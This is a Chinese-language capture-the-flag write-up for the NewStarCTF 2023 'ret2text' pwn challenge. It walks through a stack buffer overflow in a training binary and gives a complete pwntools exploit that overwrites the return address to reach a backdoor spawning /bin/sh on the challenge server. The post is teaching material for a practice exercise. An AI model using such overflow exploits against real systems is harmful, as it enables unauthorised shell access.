NewStarCTF 2023 WEEK1|PWN ret2text

拖进IDA,查看

复制代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  init();
  puts("Welcome to NewStar CTF!!");
  puts("Show me your magic");
  read(0, buf, 0x100uLL);
  return 0;
}

main函数,里read函数,分配了32(0x20)个大小 指定了0x100,有栈溢出漏洞

复制代码
int backdoor()
{
  puts("Congratulations!!!");
  return execve("/bin/sh", 0LL, 0LL);
}

又发现了后门函数,

复制代码
; Attributes: bp-based frame

public backdoor
backdoor proc near
; __unwind {
endbr64
push    rbp
mov     rbp, rsp
lea     rax, s          ; "Congratulations!!!"
mov     rdi, rax        ; s
call    _puts
mov     edx, 0          ; envp
mov     esi, 0          ; argv
lea     rax, path       ; "/bin/sh"
mov     rdi, rax        ; path
call    _execve
nop
pop     rbp
retn
; } // starts at 4011FB
backdoor endp

查看起始地址 为4011FB

  • payload = b'a'*(0x20 + 0x8) + p64(0x4011FB)

完整exp:

复制代码
from __future__ import absolute_import
from pwn import *  
p=remote(u"node4.buuoj.cn",27131) 
payload = b'a'*(0x20 + 0x8) + p64(0x4011FB)
p.sendline(payload)
p.interactive()
相关推荐
德迅云安全-上官6 小时前
DDoS 安全防护在企业安全防护中的作用
安全·ddos
一叶龙洲9 小时前
wslg打开Ubuntu24.04默认打开图形界面
linux·服务器·数据库·ubuntu
敖行客 Allthinker11 小时前
Parallels Ubuntu虚拟机项目如何让手机访问?完整解决方案
linux·运维·ubuntu
王维同学11 小时前
[自学][Windows C++]RunOnceEx 注册表分组键的安全遍历
c++·windows·安全·开源
keyipatience12 小时前
线程栈与TLS和线程互斥
java·linux·服务器·开发语言·ubuntu
元Y亨H12 小时前
生产环境监控与故障应急处理(5-5-5 标准)指南
运维
踏月的造梦星球12 小时前
达梦数据库执行计划与性能分析入门:EXPLAIN、AUTOTRACE 与 ET
服务器·数据库·oracle
观山岳五楼13 小时前
Ubuntu 24 怎么使用Ubuntu 20 的镜像源
linux·运维·ubuntu
星夜夏空9913 小时前
网络编程(1)
服务器·网络
川石课堂软件测试13 小时前
安全测试|常见SQL注入攻击方式、实例及预防
服务器·数据库·sql·功能测试·测试工具·安全·单元测试